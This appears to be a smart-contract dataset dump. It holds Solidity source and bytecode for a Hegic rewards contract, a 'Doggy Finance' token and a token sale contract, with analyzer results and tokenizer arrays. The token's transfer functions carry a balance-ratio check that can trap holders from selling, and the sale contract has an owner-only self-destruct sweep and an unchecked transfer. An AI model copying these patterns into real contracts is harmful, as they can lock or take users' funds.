File: @chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol pragma solidity >=0.6.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: contracts/Interfaces/Interfaces.sol pragma solidity 0.6.12; /** * Hegic * Copyright (C) 2020 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ interface ILiquidityPool { struct LockedLiquidity { uint amount; uint premium; bool locked; } event Profit(uint indexed id, uint amount); event Loss(uint indexed id, uint amount); event Provide(address indexed account, uint256 amount, uint256 writeAmount); event Withdraw(address indexed account, uint256 amount, uint256 writeAmount); function unlock(uint256 id) external; function send(uint256 id, address payable account, uint256 amount) external; function setLockupPeriod(uint value) external; function totalBalance() external view returns (uint256 amount); // function unlockPremium(uint256 amount) external; } interface IERCLiquidityPool is ILiquidityPool { function lock(uint id, uint256 amount, uint premium) external; function token() external view returns (IERC20); } interface IETHLiquidityPool is ILiquidityPool { function lock(uint id, uint256 amount) external payable; } interface IHegicStaking { event Claim(address indexed acount, uint amount); event Profit(uint amount); function claimProfit() external returns (uint profit); function buy(uint amount) external; function sell(uint amount) external; function profitOf(address account) external view returns (uint); } interface IHegicStakingETH is IHegicStaking { function sendProfit() external payable; } interface IHegicStakingERC20 is IHegicStaking { function sendProfit(uint amount) external; } interface IHegicOptions { event Create( uint256 indexed id, address indexed account, uint256 settlementFee, uint256 totalFee ); event Exercise(uint256 indexed id, uint256 profit); event Expire(uint256 indexed id, uint256 premium); enum State {Inactive, Active, Exercised, Expired} enum OptionType {Invalid, Put, Call} struct Option { State state; address payable holder; uint256 strike; uint256 amount; uint256 lockedAmount; uint256 premium; uint256 expiration; OptionType optionType; } function options(uint) external view returns ( State state, address payable holder, uint256 strike, uint256 amount, uint256 lockedAmount, uint256 premium, uint256 expiration, OptionType optionType ); } // For the future integrations of non-standard ERC20 tokens such as USDT and others // interface ERC20Incorrect { // event Transfer(address indexed from, address indexed to, uint256 value); // // event Approval(address indexed owner, address indexed spender, uint256 value); // // function transfer(address to, uint256 value) external; // // function transferFrom( // address from, // address to, // uint256 value // ) external; // // function approve(address spender, uint256 value) external; // function balanceOf(address who) external view returns (uint256); // function allowance(address owner, address spender) external view returns (uint256); // // } // File: contracts/Rewards/HegicRewards.sol pragma solidity 0.6.12; /** * Hegic * Copyright (C) 2020 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ abstract contract HegicRewards is Ownable { using SafeMath for uint; using SafeERC20 for IERC20; IHegicOptions public immutable hegicOptions; IERC20 public immutable hegic; mapping(uint => bool) public rewardedOptions; mapping(uint => uint) public dailyReward; uint internal constant MAX_DAILY_REWARD = 165_000e18; uint internal constant REWARD_RATE_ACCURACY = 1e8; uint internal immutable MAX_REWARDS_RATE; uint internal immutable MIN_REWARDS_RATE; uint internal immutable FIRST_OPTION_ID; uint public rewardsRate; constructor( IHegicOptions _hegicOptions, IERC20 _hegic, uint maxRewardsRate, uint minRewardsRate, uint firstOptionID ) public { hegicOptions = _hegicOptions; hegic = _hegic; MAX_REWARDS_RATE = maxRewardsRate; MIN_REWARDS_RATE = minRewardsRate; rewardsRate = maxRewardsRate; FIRST_OPTION_ID = firstOptionID; } function getReward(uint optionId) external { uint amount = rewardAmount(optionId); uint today = block.timestamp / 1 days; dailyReward[today] = dailyReward[today].add(amount); (IHegicOptions.State state, address holder, , , , , , ) = hegicOptions.options(optionId); require(optionId >= FIRST_OPTION_ID, "Wrong Option ID"); require(state != IHegicOptions.State.Inactive, "The option is inactive"); require(!rewardedOptions[optionId], "The option was rewarded"); require( dailyReward[today] < MAX_DAILY_REWARD, "Exceeds daily limits" ); rewardedOptions[optionId] = true; hegic.safeTransfer(holder, amount); } function setRewardsRate(uint value) external onlyOwner { require(MIN_REWARDS_RATE <= value && value <= MAX_REWARDS_RATE); rewardsRate = value; } function rewardAmount(uint optionId) internal view returns (uint) { (, , , uint _amount, , uint _premium, , ) = hegicOptions.options(optionId); return _amount.div(100).add(_premium) .mul(rewardsRate) .div(REWARD_RATE_ACCURACY); } } // File: contracts/Rewards/HegicETHRewards.sol pragma solidity 0.6.12; /** * Hegic * Copyright (C) 2020 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ contract HegicETHRewards is HegicRewards { constructor( IHegicOptions _hegicOptions, IERC20 _hegic ) public HegicRewards( _hegicOptions, _hegic, 1_000_000e8, 10e8, 168 ) {} }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80637d58efb9116100665780637d58efb9146101255780638da5cb5b1461014257806394895c1b1461014a578063ebb5e14f14610152578063f2fde38b146101835761009e565b80631c4b774b146100a3578063523bc7d5146100c2578063715018a6146100dc5780637276add9146100e457806374791fb614610108575b600080fd5b6100c0600480360360208110156100b957600080fd5b50356101a9565b005b6100ca61046e565b60408051918252519081900360200190f35b6100c0610474565b6100ec610528565b604080516001600160a01b039092168252519081900360200190f35b6100c06004803603602081101561011e57600080fd5b503561054c565b6100ca6004803603602081101561013b57600080fd5b5035610614565b6100ec610626565b6100ec610635565b61016f6004803603602081101561016857600080fd5b5035610659565b604080519115158252519081900360200190f35b6100c06004803603602081101561019957600080fd5b50356001600160a01b031661066e565b60006101b482610778565b620151804204600081815260026020526040902054919250906101d79083610858565b60026000838152602001908152602001600020819055506000807f000000000000000000000000efc0eeadc1132a12c9487d800112693bf49ecfa26001600160a01b031663409e2205866040518263ffffffff1660e01b8152600401808281526020019150506101006040518083038186803b15801561025657600080fd5b505afa15801561026a573d6000803e3d6000fd5b505050506040513d61010081101561028157600080fd5b50805160209091015190925090507f00000000000000000000000000000000000000000000000000000000000000a88510156102f6576040805162461bcd60e51b815260206004820152600f60248201526e15dc9bdb99c813dc1d1a5bdb881251608a1b604482015290519081900360640190fd5b600082600381111561030457fe5b1415610350576040805162461bcd60e51b8152602060048201526016602482015275546865206f7074696f6e20697320696e61637469766560501b604482015290519081900360640190fd5b60008581526001602052604090205460ff16156103b4576040805162461bcd60e51b815260206004820152601760248201527f546865206f7074696f6e20776173207265776172646564000000000000000000604482015290519081900360640190fd5b6000838152600260205260409020546922f0aafd00887d20000011610417576040805162461bcd60e51b815260206004820152601460248201527345786365656473206461696c79206c696d69747360601b604482015290519081900360640190fd5b6000858152600160208190526040909120805460ff191690911790556104676001600160a01b037f00000000000000000000000047c0ad2ae6c0ed4bcf7bc5b380d7205e89436e841682866108bb565b5050505050565b60035481565b61047c610912565b6000546001600160a01b039081169116146104de576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b7f000000000000000000000000efc0eeadc1132a12c9487d800112693bf49ecfa281565b610554610912565b6000546001600160a01b039081169116146105b6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b807f000000000000000000000000000000000000000000000000000000003b9aca001115801561060657507f00000000000000000000000000000000000000000000000000005af3107a40008111155b61060f57600080fd5b600355565b60026020526000908152604090205481565b6000546001600160a01b031690565b7f00000000000000000000000047c0ad2ae6c0ed4bcf7bc5b380d7205e89436e8481565b60016020526000908152604090205460ff1681565b610676610912565b6000546001600160a01b039081169116146106d8576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661071d5760405162461bcd60e51b8152600401808060200182810382526026815260200180610c826026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008060007f000000000000000000000000efc0eeadc1132a12c9487d800112693bf49ecfa26001600160a01b031663409e2205856040518263ffffffff1660e01b8152600401808281526020019150506101006040518083038186803b1580156107e257600080fd5b505afa1580156107f6573d6000803e3d6000fd5b505050506040513d61010081101561080d57600080fd5b50606081015160a0909101516003549193509150610850906305f5e1009061084a906108448561083e886064610916565b90610858565b90610958565b90610916565b949350505050565b6000828201838110156108b2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261090d9084906109b1565b505050565b3390565b60006108b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a62565b600082610967575060006108b5565b8282028284828161097457fe5b04146108b25760405162461bcd60e51b8152600401808060200182810382526021815260200180610ca86021913960400191505060405180910390fd5b6060610a06826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610b049092919063ffffffff16565b80519091501561090d57808060200190516020811015610a2557600080fd5b505161090d5760405162461bcd60e51b815260040180806020018281038252602a815260200180610cc9602a913960400191505060405180910390fd5b60008183610aee5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ab3578181015183820152602001610a9b565b50505050905090810190601f168015610ae05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610afa57fe5b0495945050505050565b606061085084846000856060610b1985610c7b565b610b6a576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310610ba95780518252601f199092019160209182019101610b8a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610c0b576040519150601f19603f3d011682016040523d82523d6000602084013e610c10565b606091505b50915091508115610c245791506108509050565b805115610c345780518082602001fd5b60405162461bcd60e51b8152602060048201818152865160248401528651879391928392604401919085019080838360008315610ab3578181015183820152602001610a9b565b3b15159056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220527595b6ec77da67342af3433764f67938e1984f895693ddd8901e0dfff4cf2c64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 28311, 2050, 26187, 19841, 2629, 2063, 2692, 11057, 26337, 2497, 14142, 2629, 7875, 2581, 21486, 2581, 20958, 2692, 2509, 2497, 2475, 2063, 2549, 2497, 2581, 2581, 10322, 11329, 1013, 1013, 1008, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 28177, 2078, 1013, 6123, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,650
0x957a9eae7040fe4af8dd1f37524dc66016aa95e5
pragma solidity 0.5.17; contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address who) public view returns (uint value); function allowance(address owner, address spender) public view returns (uint remaining); function transferFrom(address from, address to, uint value) public returns (bool ok); function approve(address spender, uint value) public returns (bool ok); function transfer(address to, uint value) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract DoggyFinance is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 1000000*10**uint256(decimals); string public constant name = "Doggy Finance"; string public constant symbol = "DOG"; address payable teamAddress; function totalSupply() public view returns (uint256) { return initialSupply; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[msg.sender] >= value && value > 0 ) { require((balances[to]*100) <= balances[msg.sender]); balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } function transferFrom(address from, address to, uint256 value) public returns(bool success) { if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { require((balances[to]*100) <= balances[msg.sender]); balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; } } function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function () external payable { teamAddress.transfer(msg.value); } constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } }
0x6080604052600436106100865760003560e01c8063313ce56711610059578063313ce5671461020357806370a082311461022e57806395d89b4114610261578063a9059cbb14610276578063dd62ed3e146102af57610086565b806306fdde03146100c2578063095ea7b31461014c57806318160ddd1461019957806323b872dd146101c0575b6001546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156100bf573d6000803e3d6000fd5b50005b3480156100ce57600080fd5b506100d76102ea565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101115781810151838201526020016100f9565b50505050905090810190601f16801561013e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015857600080fd5b506101856004803603604081101561016f57600080fd5b506001600160a01b038135169060200135610313565b604080519115158252519081900360200190f35b3480156101a557600080fd5b506101ae61037a565b60408051918252519081900360200190f35b3480156101cc57600080fd5b50610185600480360360608110156101e357600080fd5b506001600160a01b03813581169160208101359091169060400135610380565b34801561020f57600080fd5b5061021861049b565b6040805160ff9092168252519081900360200190f35b34801561023a57600080fd5b506101ae6004803603602081101561025157600080fd5b50356001600160a01b03166104a0565b34801561026d57600080fd5b506100d76104bb565b34801561028257600080fd5b506101856004803603604081101561029957600080fd5b506001600160a01b0381351690602001356104da565b3480156102bb57600080fd5b506101ae600480360360408110156102d257600080fd5b506001600160a01b03813581169160200135166105a1565b6040518060400160405280600d81526020016c446f6767792046696e616e636560981b81525081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60005490565b6001600160a01b03831660009081526002602052604081205482118015906103cb57506001600160a01b03841660009081526003602090815260408083203384529091529020548211155b80156103d75750600082115b156104905733600090815260026020526040808220546001600160a01b0386168352912054606402111561040a57600080fd5b6001600160a01b03808416600081815260026020908152604080832080548801905593881680835284832080548890039055600382528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001610494565b5060005b9392505050565b601281565b6001600160a01b031660009081526002602052604090205490565b60405180604001604052806003815260200162444f4760e81b81525081565b3360009081526002602052604081205482118015906104f95750600082115b156105995733600090815260026020526040808220546001600160a01b0386168352912054606402111561052c57600080fd5b336000818152600260209081526040808320805487900390556001600160a01b03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001610374565b506000610374565b6001600160a01b0391821660009081526003602090815260408083209390941682529190915220549056fea265627a7a72315820cf4e74f285585c0fc40b4133d478a7eec0ce93317a74809bf684ba93509629b664736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 28311, 2050, 2683, 5243, 2063, 19841, 12740, 7959, 2549, 10354, 2620, 14141, 2487, 2546, 24434, 25746, 2549, 16409, 28756, 24096, 2575, 11057, 2683, 2629, 2063, 2629, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1019, 1012, 2459, 1025, 3206, 9413, 2278, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 4425, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 3643, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 3588, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 7929, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,651
0x957b51309e3399f21842c02a023dfc829b334c41
pragma solidity ^0.4.18; // Ownable contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender;} modifier onlyOwner() { require(msg.sender == owner); _; } } // Sale contract Sale is Ownable { using SafeMath for uint256; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Sale (uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender);} function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } // Used to end the Presale function TokenDestructible() public payable { } function destroy(address[] tokens) onlyOwner public { // Transfer tokens to owner for (uint256 i = 0; i < tokens.length; i++) { ERC20Basic token = ERC20Basic(tokens[i]); uint256 balance = token.balanceOf(this); token.transfer(owner, balance);} selfdestruct(owner); }} // SafeMath library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c;}} // ERC20Basic contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value);} // ERC20 contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value);}
0x60806040526004361061008d5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630d7f7eff81146100985780632c4e722e146100a05780634042b66f146100c7578063521eb273146100dc5780638da5cb5b1461010d578063c6786e5a14610122578063ec8ac4d814610177578063fc0c546a1461018b575b610096336101a0565b005b610096610242565b3480156100ac57600080fd5b506100b5610244565b60408051918252519081900360200190f35b3480156100d357600080fd5b506100b561024a565b3480156100e857600080fd5b506100f1610250565b60408051600160a060020a039092168252519081900360200190f35b34801561011957600080fd5b506100f161025f565b34801561012e57600080fd5b50604080516020600480358082013583810280860185019096528085526100969536959394602494938501929182918501908490808284375094975061026e9650505050505050565b610096600160a060020a03600435166101a0565b34801561019757600080fd5b506100f16103f5565b3460006101ad8383610404565b6101b682610429565b6004549091506101cc908363ffffffff61044616565b6004556101d98382610460565b60408051838152602081018390528151600160a060020a0386169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a361022b8383610425565b61023361046a565b61023d8383610425565b505050565b565b60035481565b60045481565b600254600160a060020a031681565b600054600160a060020a031681565b6000805481908190600160a060020a0316331461028a57600080fd5b600092505b83518310156103e75783838151811015156102a657fe5b6020908102909101810151604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051919450600160a060020a038516926370a08231926024808401938290030181600087803b15801561031057600080fd5b505af1158015610324573d6000803e3d6000fd5b505050506040513d602081101561033a57600080fd5b505160008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519394509085169263a9059cbb92604480840193602093929083900390910190829087803b1580156103b057600080fd5b505af11580156103c4573d6000803e3d6000fd5b505050506040513d60208110156103da57600080fd5b505060019092019161028f565b600054600160a060020a0316ff5b600154600160a060020a031681565b600160a060020a038216151561041957600080fd5b80151561042557600080fd5b5050565b6000610440600354836104a690919063ffffffff16565b92915050565b60008282018381101561045557fe5b8091505b5092915050565b61042582826104d1565b600254604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156104a3573d6000803e3d6000fd5b50565b6000808315156104b95760009150610459565b508282028284828115156104c957fe5b041461045557fe5b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561054057600080fd5b505af1158015610554573d6000803e3d6000fd5b505050506040513d602081101561056a57600080fd5b505050505600a165627a7a723058200f019b3eb506e8f60aa7467ce592c171b65439031de2f997c5cb17fe29d6f57e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2497, 22203, 14142, 2683, 2063, 22394, 2683, 2683, 2546, 17465, 2620, 20958, 2278, 2692, 2475, 2050, 2692, 21926, 20952, 2278, 2620, 24594, 2497, 22394, 2549, 2278, 23632, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 2219, 3085, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 3853, 2219, 3085, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 1065, 1013, 1013, 5096, 3206, 5096, 2003, 2219, 3085, 1063, 2478, 3647, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,652
0x957bd1556c4fb00c62d6d392c6d8d4df82fb6e4e
